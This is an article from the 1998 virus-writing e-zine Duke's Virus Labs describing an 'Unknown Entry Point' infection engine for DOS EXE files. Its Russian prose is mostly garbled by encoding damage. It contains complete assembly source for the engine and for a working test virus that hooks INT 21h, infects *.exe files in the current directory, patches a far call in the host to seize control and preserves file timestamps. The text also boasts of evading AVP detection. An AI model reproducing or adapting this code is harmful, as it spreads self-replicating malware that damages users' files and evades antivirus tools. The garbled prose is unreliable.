- [Duke's Virus Labs #10] - [Page 10] -

Unknown Entry Point Infecting Engine 
(c) by DaemonSerj

 ।:  ।⠢  㡫樨  ୠ  室 
              ᨩ UEP Infection Engine.  ⮩  ।⠢
              室 ᫥ ᨨ. 室 㣨 ᨩ,  ⠪ 
              樮   ணࠬ,    ਫ饬 
              娢.


		   Unknown Entry Point Infecting Engine
		   

  
  

᫥ ⠯ ࠧ  ᮢ  ᫥ 
ᥣ  ࢮ  뫨 ࠧࠡ⪨  䥪⨢ ࠭
 졥 ⨢ ⨢ᮢ,  筮    㣮 ४騥

᫨  ࠭ ⠯ ᭮ ஡ 뫮 㦥   ᪥,
   த Mutation Engine  ஡ 뫠  襩 
襭 .

 饥 ६ ᭮ ᭮   ।⠢
  .     ᢮ Mutation  ⨫ 
⮨    ਯ ,     

᫥ ᪨ ਥ   ᨥ ⨪
ࠢ   ᥭ   ਪ  


   ⮤
  

᭮ ஡    ࠢ  ணࠬ 
। ࠧ  ᫥ 㧪 (ࠢ 窠 室) 
 㯠   ।⢥   .

 楯 墠뢠 ࠢ  ணࠬ  ᠬ 砫,
⠫ ᭮饩 ᨮ,   ॡ饩 ᯠਢ

 ⮤  ⮬  । ࠢ   ⢫  
ᠬ 砫 ,  ந  ६
᭮ 楫 ⮤  ⮬ ⮡ ⨪ ஢ ᭮ 
ॠ쭮 ணࠬ   ࠫ   । ࠢ  
᫨  믮 ,      ணࠬ !

  ᫨   ᥭ    㤥  ᯮ
࠭.⢥  易   -
 @$ 祣  ⠬ ⨫,᫨   楯  ᪥


   ॠ
  

  ⠢  ⥫ ॣࠬ 室    ந쭮 

筮 । ࠢ     ᥣ⭮ -
  Jmp far Seg:Offs , Call far Seg:Offs .
 ਥ  ᯮ짮 call far -  ⥪  
 맮     砥  ணࠬ (.), 
jmp far 諮  ࠭  ⥫  Jmp'a .

 ॠ    ᯮᮡ -

ਬ ।⢥  ⥫  ந쭮   ᪮쪮
  室   - ⪨ 祢 -   ࠭
 ஧  宬

 ਥ -   㦥 饣 맮  ணࠬ 
   맮 :

ਬ:
1)	   饬  ⥫ ࠬ  9Ah -  Call Far
	   塞  室   - ஡   -
	    ࠭ :

	  mov	al,9Ah <--  ,  ணࠬ
	  ...		     Far Call

2)  䥪⨢  筮    Call Far
१ ⠡ ᥣ ᮢ   -    Header'a
室   ᬮਬ ᫨  $-3 ⮨  9Ah ,  筮
⥯ ⭮  ⢥ত   Far Call

	 $-3		 $
	 9Ah,Ofs,Ofs,Relocation

   ⠪:    mov   dl,9Ah
			     nop  <--  㣠 ⮢ 
			     mov   ax,Relocation
			     mov   ds,ax

      Far Call

3)   ,  䥪⨢  ⠪ ⮤:
    ⥫ ணࠬ 饬 ⠭ C/Pascal  楤
   ⮬ 饬   

 ES:LineAddr	 push	bp		   .
		 mov	bp,sp		   .
		 .			   .
		 .			   Call Far Seg:Offs  <Ŀ
		 .			   ८ࠧ  ᥣ 
		 pop	bp
		 retf	[imm8]

    塞     室  뢠   䠩
      ⢥ ࠭


  ஡   祬  
  

  ࠢ 窨 ७ 뢠 ⢥ 室 ணࠬ
 ࢠ⢮ . ⮡   ஢  ﭨ  
 쭥襩 ࠢ쭮 ࠡ ணࠬ ࠭ 室 ﭨ,
 ᫥ ⮣    ᤥ  㦭 ⠭   த
室 ணࠬ - Call Far RealSeg:RealOffs

 ࠭ ﭨ    ,⠪  ⭮ 
  뢠 .  - ࠭  ॣ஢

  ⭮  ணࠬ    । ࠢ 

   ॠ
  

 Unknown Entry Point ॠ   -  

 OpenFile , Call UEPinfect , SetRealTime , CloseFile

   ⠭ 䨪 ࠦ - ⠭ ᠬ

 UEP.ASM  -  ࢮ砫쭮   ᠭ UEP 쨬 ᯮᮡ ,
   䠩 ⠭ Appending'
   ᥡ ࠩ  ᯮᮡ   ⠭⭮ ࠦ
 ணࠬ       ᥡ   ᮬ

 UEP_V2.ASM  -	楤 ᪠  ࠦ Far Proc  
न쭮  ⮤ ࠦ -  뢠  Header'
 ணࠬ .

      ४஢ Reloc ⮢     ⥫ ணࠬ
      ᭮  ।   Reloc ⮢
       Header'e  .᫨  ᫮  믮
      䠩 㤥 ᪮४஢ ࠢ쭮  㤥 ࠡᯮᮡ

  UEP  ⠢  稭 魮 ⮣ ⬠(  )

 UEP_V3.ASM  -	楤 ᪠  ࠦ Far Proc  
 ᯮᮡ ४஢ Reloc ⮢  ⠭

 DUMB_UEP.ASM  -  १     ᨩ UEP .
 ⮨  ࠭   ࢮ  DUMB.COM ᪮,
ᠫ    10  ⠪  ᬮ ⠬ ᮡ   


   ⮢
  

뫮 ஢  30' 䠩  UEP_v2 , UEP_v3 .

UEP_v2:  ࠡᯮ묨 䠩   ⠭ -⮢  Header'e
UEP_v3:  䠩  ࠡᯮᮡ묨

஥堢    AVP 3.0  DRWEB' 4.00 , 㫨  EXE.Virus
 30' 䠩 AVP 㦨    , WEB    !!!

  砭
  

  ॡ i386   -   8086 &#@ 㦥 

  ॠ  ண  㤨 -   ଠ,  ⠪ , 誠 

 ਢ ᥬ ଥࠬ.
   ᭠  DOS ३  ஭ ⠤ ... :)

				       ᨡ
				        '98
				       NSTU.[]

===== begin uep_v3.asm =====
;		   Unknown Entry Point Infecting Engine
;		   
;			      Version 3.0

MZ_sign 	equ	0
PartPage	equ	2
PageCnt 	equ	4
RelocCnt	equ	6
HdrSize 	equ	8
StackPointer	equ	0Eh
ChekSum 	equ	12h
EntryCS 	equ	16h
TablOffs	equ	18h

LenPath 	equ	80h

; ⠭ 䨪 ࠦ
;eax -  室 室 /६

UEPinfect	proc	near
;DS = CS
;DS - Virus DATA

		mov	bx,[handle]
		mov	ah,3Fh
		mov	cx,1Ah
		mov	dx,offset Header
		call	DOS

		cmp	word ptr [Header+MZ_sign],'ZM'	; EXE'譨
		jne	ExitUEPInfect

		cmp	word ptr [Header+RelocCnt],0 ; Reloc ⮢ -
		je	ExitUEPInfect		     ; 쭨 맮

		call	GetFPB	      ;ES:DI - File Parameter Block
				      ;㤥 ࠡ  䠩  ஢ FPB

		mov	word ptr fs:[di+2],2   ;  - Read/Write

		mov	eax,fs:[di+0Dh]   ;eax - ६/
		mov	dword ptr [TimeDate],eax
		mov	edx,fs:[di+11h]   ;edx - RealLen
		mov	dword ptr [RealLen],edx

		mov	ax,word ptr [Header+PageCnt]
		cwde
		shl	eax,9	  ;쭠   㦠
		cmp	eax,edx
		jc	ExitUEPInfect	  ; Overlay

		mov	word ptr [ProgID],'ZM'

;쥤  砫  ᥣ
		mov	ax,word ptr [Header+EntryCS]
		movzx	eax,ax
		shl	eax,4
		call	BeginData     ;砫 Code Seg  䠩
		add	eax,edx

		mov	dword ptr [CodeEntry],eax

		mov	fs:[di+15h],eax     ;쥤  Code Seg

		mov	ax,word ptr [Header+EntryCS] ;FileCS
		mov	bx,word ptr [Header+StackPointer]
		sub	bx,ax

		add	bx,word ptr [Header+HdrSize]   ;  Header'a
						       ;+ THA
		mov	ax,1000h
		cmp	ax,bx
		jnc	@temp4
		mov	bx,ax  ;BX - ᪮쪮 ࠣ䮢 㦭   䠩
@temp4: 		       ;  64

;뤥  - ।   筮 < 64
		mov	ah,48h
		call	DOS
		jc	ExitUEPinfect

		mov	es,ax
;⠥  ᥣ  䠩
		mov	cx,bx
		sub	cx,word ptr [Header+HdrSize]
		shl	cx,4	; 
		push	ds

		push	es	;DS -  뤥 
		pop	ds

		mov	bx,cs:[handle]
		mov	ah,3Fh
		xor	dx,dx
		call	DOS
		pop	ds
		mov	[LenCode],ax

		mov	dx,ax
		and	ax,0Fh
		pushf
		shr	dx,4
		popf
		jz	@temp7
		inc	dx
@temp7:
; GS -  ஢ THA
		mov	ax,es
		add	ax,dx
		mov	gs,ax	   ;  Header'a

;饬  室  
		mov	cx,5	   ;᪠   5 楤
		mov	word ptr [StartCode],0
FindUEP:
		push	cx
		call	SearchProc   ;饬  楤
		pop	cx
		jc	FreeBlok     ;쪮   ...:-E
		push	cx
		call	SearchXref   ;饬   ५
		pop	cx
		jnc	UEPisFound
		loop	FindUEP
		stc
		jmp	FreeBlok
UEPisFound:
		mov	eax,es:[di]	 ;ES:DI -  CALL FAR  CodeSeg
		mov	[OldReloc],eax	 ;࠭塞 騩 

		xor	di,di	       ;ନ㥬   ᮧ TmpFile
		call	FormTmpPath

		xor	cx,cx
		mov	ah,3Ch	      ; TempFile
		call	DOS
		push	cs
		pop	ds
		jc	FreeBlok
		mov	[TempHandle],ax

		mov	bx,ax	     ;  ४஢ Header'a
		call	GetFPB
		call	BeginData
		mov	fs:[di+15h],edx

		mov	bx,[handle]
		call	GetFPB
		xor	eax,eax
		mov	fs:[di+15h],eax   ;쥤  砫  䠩

;⠥ 
		push	ds
		push	gs
		pop	ds

		call	BeginData	;⠥ 㦥  砫 (. )
		mov	cx,dx
		xor	dx,dx
		mov	ah,3Fh
		call	DOS
		pop	ds

;		call	MakeMorphVirusCopy	; [LenDecryptor]
;		 맮   Mutation Engine
;		 ஢騪   饭  [LenDecryptor]

; 

		mov	ax,VirLen
		add	ax,[LenDecryptor]
		mov	dx,ax
		neg	dl
		and	dx,0Fh
		add	ax,dx	 ;AX -   ࠢ  ࠣ

		mov	cx,ax

		shr	ax,4
		add	word ptr [OldReloc+2],ax
		mov	bp,ax

;襬   DS:VirPlace
		mov	ah,40h
		mov	bx,[TempHandle]
		mov	dx,offset VirPlace
		call	DOS

;४㥬 䠩  Temp 

		xor	dx,dx
		push	ds
		push	es
		pop	ds
NextCopy:
		mov	ah,3Fh
		mov	bx,cs:[Handle]
		mov	cx,cs:[LenCode]
		call	DOS
		mov	cx,ax
		cmp	ax,0
		jz	EndCopy
		mov	ah,40h
		mov	bx,cs:[TempHandle]
		call	DOS
		jmp	NextCopy
EndCopy:
		pop	ds
;४㥬 ᥣ   Header'e  䠩

		mov	si,word ptr gs:[TablOffs]
		mov	cx,word ptr gs:[RelocCnt]
		mov	bx,[TempHandle]
		call	GetFPB
NextAdd:
		add	gs:[si+2],bp	;ன  THA
		mov	eax,gs:[si]
		call	MakeLineAddr
		mov	fs:[di+15h],eax
		call	UpdateAddr

		add	si,4
		dec	cx
		jne	NextAdd

		xor	edx,edx
		mov	fs:[di+15h],edx
		mov	dx,bp

;४㥬  窨 室  ⥪

		add	gs:[StackPointer],bp
		add	gs:[EntryCS],bp

;४㥬   

		shl	edx,4
		add	edx,12345678h
RealLen 	equ	$-4

		mov	ax,dx
		and	ax,1FFh        ;   
		mov	word ptr gs:[PartPage],ax
		pushf
		shr	edx,9
		popf
		jz	@temp
		inc	dx
@temp:
		mov	word ptr gs:[PageCnt],dx

		;䨪 
		mov	word ptr gs:[ChekSum],VrID

;襬 Header  Temp File
		call	BeginData
		mov	cx,dx
		xor	dx,dx
		mov	ah,40h
		push	ds
		push	gs
		pop	ds
		call	DOS
		pop	ds

;쥤  CALL FAR  ᪮४஢ 䠩
		mov	edx,12345678h
CodeEntry	equ	$-4

		movzx	ebp,bp
		shl	ebp,4
		add	edx,ebp

		mov	ax,[OffsFarCall]
		movzx	eax,ax
		add	edx,eax
;쥤
		mov	fs:[di+15h],edx

;窠 室
		xor	ax,ax
		push	ax
		mov	ax,VirEntryPoint
		push	ax

;襬   室  ⥪
		mov	dx,sp
		push	ds
		push	ss
		pop	ds
		mov	cx,4
		mov	ah,40h
		call	DOS
		pop	ds
		add	sp,4

		mov	ah,3Eh	     ;஥ Temp 
		call	DOS
;஥ 䠩
		mov	bx,[handle]
		mov	ah,3Eh
		call	DOS

;⮦ 䠩
		mov	dx,offset Path
		mov	ah,41h
		call	DOS

;२㥬 Temp 䠩  ࠦ 䠩
		push	ds     Ŀ
		push	es		  
					  
		xor	di,di		  
		call	FormTmpPath	  
					  
		push	cs	       ;DS:DX -  Temp 䠩
		pop	es		  
		mov	di,offset Path	  
		mov	ah,56h		  
		call	DOS		  
					  
		pop	es		  
		pop	ds    

;஥   䠩  ᫥ ⢨
		mov	ah,3Dh
		mov	dx,offset Path
		call	DOS

		mov	[handle],ax  ;fs:di - File Parameter Blok
		mov	bx,ax	     ; ⮣ 䠩
		call	GetFPB

;⠭ ६/
		mov	eax,12345678h
TimeDate	equ	$-4
		clc

FreeBlok:	push	eax
		pushf
		mov	ah,49h	     ;᢮ 
		call	DOS
		popf
		pop	eax
		ret
ExitUEPInfect:	stc
		ret
UEPinfect	endp
;
SearchProc	proc	near
; ⠭⭮ 쭥 楤   64 
;
;  :	push	bp	 	  enter immN,immM
;		mov	bp,sp		    .
;		 .			    .
;		 .			    .
;		 .			    .
;		pop	bp		  leave
;		retf [imm8]		  retf	imm8
;
;ES - Scanned programm code
;DS - Virus Data

		mov	dx,0FFFFh	;ID  楤  
		mov	cx,[LenCode]
		mov	[EnterProc],dx
		mov	di,[StartCode]
Scan:
		mov	al,es:[di]
		cmp	al,55h		;push BP
		je	pushBP
		cmp	al,5Dh		;pop BP
		je	exitPRC
		cmp	al,0C9h 	;leave
		je	exitPRC
NextScan:
		inc	di
		dec	cx
		jne	Scan
		stc
		retn
pushBP:
		mov	ax,es:[di+1]

		cmp	ax,0EC8Bh	;mov bp,sp
		je	EnterPRC
		cmp	ax,0E589h
		jne	NextScan
EnterPRC:
		mov	[EnterProc],di
		jmp	NextScan
exitPRC:
		cmp	[EnterProc],dx
		je	NextScan
		mov	al,es:[di+1]
		cmp	al,0CBh 	;retf
		je	OK
		cmp	al,0CAh 	;retf imm8
		je	OK
		mov	[EnterProc],dx
		jmp	NextScan
OK:		inc	di		; ᪠ ᫥饩
		mov	[StartCode],di
		clc
		ret
SearchProc	endp
;
SearchXRef	proc	near
;     楤   64 
;ES - Scanned programm code
;DS - Virus Data

		xor	di,di
		mov	cx,[LenCode]
		mov	ax,word ptr [Header+EntryCS]
		mov	dx,[EnterProc]
		mov	word ptr [OffsetPRC],dx
		mov	word ptr [OffsetPRC+2],ax
Search:
		cmp	byte ptr es:[di],9Ah
		jne	NextSearch
TestXref:
		cmp	dword ptr es:[di+1],12345678h
OffsetPRC	equ	$-4
		je	FoundFarCall		;騩  
		inc	word ptr [OffsetPRC+2]
		sub	word ptr [OffsetPRC],10h
		jnc	TestXref

		mov	word ptr [OffsetPRC],dx
		mov	word ptr [OffsetPRC+2],ax
NextSearch:
		inc	di
		dec	cx
		jne	Search
		stc
		ret
FoundFarCall:	inc	di
		mov	[OffsFarCall],di   ; DI -  ࠭  CALL FAR
		clc
		ret
SearchXRef	endp
;
BeginData	proc
;EDX - 砫   䠩
		mov	dx,word ptr cs:[Header+HdrSize]
		movzx	edx,dx
		shl	dx,4
		ret
BeginData	endp
;
GetFPB		proc
;頥  FS:DI  File Parameter Block
;BX - Handle
		push	bx
		push	ax
		push	es
		mov	ax,1220h	; 室  SFT
		int	2Fh		;ES:[di]

		mov	bl,es:[di]	;稬  ᠭ 䠩
		mov	ax,1216h	;es:di
		int	2Fh

		push	es
		pop	fs

		pop	es
		pop	ax
		pop	bx
		ret
GetFPB		endp
;
FormTmpPath	proc
;ନ஢   Temp 䠩
; 室 - 㤠 : ES:DI
; 室 -  : DS:DX

		push	cs
		pop	ds

		mov	si,offset Path
		push	si	Ŀ
		mov	word ptr [EndDir],si	   
		mov	ax,si			   
		inc	ax			   
@temp5: 					   
		cmp	byte ptr [si],'\'	   
		jne	$+5			   
		mov	word ptr [EndDir],ax	   
						   
		cmp	byte ptr [si],'/'	   
		jne	$+5			   
		mov	word ptr [EndDir],ax	   
						   
		cmp	byte ptr [si],0 	   
		je	CopyDir 		   
		inc	si			   
		inc	ax			   
		jmp	@temp5			   
CopyDir:					   
		pop	si   

		push	di	    Ŀ
		mov	dx,offset Path ; ,᫥ 㥬 䠩
EndDir		equ	$-2			 
		cmp	si,dx			 
		je	CopyName		 
@temp2: 					 
		lodsb				 
		stosb				 
		cmp	si,dx			 
		jne	@temp2			 
CopyName:					 
		mov	si,offset UEPTempFile	 
		mov	cx,LenUEPfile		 
		cld		       ;㥬  䠩
		rep	movsb			 
						 
		pop	dx     
		push	es
		pop	ds
		ret
FormTmpPath	endp
;
UpdateAddr	proc
		push	cx
		mov	dx,offset AddSeg
		mov	cx,2
		mov	ah,3Fh
		call	DOS

		sub	dword ptr fs:[di+15h],2
		add	[AddSeg],bp

		mov	ah,40h
		call	DOS
		pop	cx
		ret
UpdateAddr	endp
;
MakeLineAddr	proc
; ᥣ⭮ ନ  
		mov	dx,ax
		movzx	edx,dx
		xor	ax,ax
		ror	eax,16
		shl	eax,4
		add	eax,edx
		call	BeginData
		add	eax,edx
		ret
MakeLineAddr	endp
; UEP Engine DATA 
UEPTempFile	db	'uepfile.tmp',0
LenUEPfile	equ	$-UEPTempFile
StartCode	dw	0
LenCode 	dw	0
EnterProc	dw	0
OffsFarCall	dw	0
TempHandle	dw	0
ProgID		dw	'MZ'
AddSeg		dw	0
OldReloc	dd	0
;
===== end   uep_v3.asm =====


樮  :

===== begin dumb_uep.asm =====
;Non.TSR.UEP.EXE.Infector - BETA TESTER of Unknown Entry Point

VrID		=	'DU'
VirEntryPoint	=	0000h
VirPlace	=	0000h

		model	small
		.486
UEPtest 	segment para public use16 'code'
		assume	cs:UEPtest,ds:UEPtest,ss:UEPstack
		org	0000h
		pop	dword ptr cs:[ReturnAddres]
Entry:
		pushad
		pushfd
		push	ds
		push	es
		push	fs
		push	gs

		call	Realloc

		xor	ax,ax	       ;  墠 ஢
		mov	ds,ax
		les	bx,ds:[21h*4]
		mov	word ptr cs:[int21h],bx
		mov	word ptr cs:[int21h+2],es

		push	cs
		pop	ds

		mov	ah,62h
		int	21h

		les	di,dword ptr [ReturnAddres]

		mov	eax,[OldReloc]
		mov	es:[di-4],ax
		ror	eax,16
		add	ax,bx
		add	ax,10h
		mov	es:[di-2],ax
		sub	di,5
@@temp:
		mov	es,bx
		xor	di,di

		mov	word ptr [Jump],di
		mov	word ptr [Jump+2],es

		mov	dword ptr [@@temp],90909090h

		MOV	AH,1AH			;  DTA
		MOV	DX,OFFSET NEW_DTA
		INT	21H

		MOV	CX,23H		; ,  , READ ONLY
		MOV	AH,4EH
		MOV	DX,OFFSET exe_MASK
		INT	21H
		JC	exit@
CONTINUE:
		MOV	AX,3D02H
		MOV	DX,OFFSET NEW_DTA+1EH	;    DTA
		INT	21H
		JC	F_NEXT

		MOV	BX,AX
		MOV	[HANDLE],AX

		MOV	AX,5700H	; 
		INT	21H
		JC	FIND_NEXT

		cmp	cl,0ffh
		je	Find_Next

		call	UEPinfect	;맮 Unknown Entry Point
		jc	Find_Next

		or	al,0ffh
		mov	cx,ax
		ror	eax,16
		mov	dx,ax

		MOV	AX,5701H	 ;  
		INT	21H

		MOV	AH,3EH
		INT	21H
exit@:
		mov	ah,62h
		int	21h

		mov	ds,bx
		MOV	AH,1AH		; DTA  
		MOV	DX,80H
		INT	21H

		pop	gs
		pop	fs
		pop	es
		pop	ds
		popfd
		popad
		db	0EAh
Jump		dd	0

FIND_NEXT:
		MOV	BX,[HANDLE]
		MOV	AH,3EH
		INT	21H
F_NEXT:
		MOV	AH,4FH
		MOV	DX,OFFSET NEW_DTA
		MOV	CX,23H
		INT	21H
		JC	exit@
		JMP	CONTINUE

Include 	uep_v3.asm

DOS		proc	near
		pushf
		db	9Ah	  ;call far ptr int21h
int21h		dd	0
		ret
DOS		endp

Realloc 	proc
		mov	ah,62h
		int	21h

		mov	es,bx
		dec	bx
		mov	ds,bx

		cmp	byte ptr ds:[0],'Z'
		jne	@notRealloc

		mov	ax,word ptr ds:[0003]
		sub	ax,1010h
		mov	bx,ax

		mov	ah,4Ah
		int	21h
@notRealloc:
		ret
Realloc 	endp

;-------------- DATA AREA -------------
ReturnAddres	dw	1000h,SEG UEPtest
lendecryptor	dw	0
handle		dw	0
New_Dta 	db	30h dup (0ffh)
Path		equ	offset new_dta+1Eh
exe_MASK	db	'*.exe',0
DUMB		db	'<DUMB.UEP.Beta.Tester>',0
Author		db	'UEP written by  (C) 1998,NSTU,Nsk',0
Header		db	1Ah dup (0ffh)

VirLen		equ	offset $
UEPtest 	ends

UEPstack	segment para stack 'stack'
		db	100h dup(?)
UEPstack	ends
		end	Entry
===== end   dumb_uep.asm =====
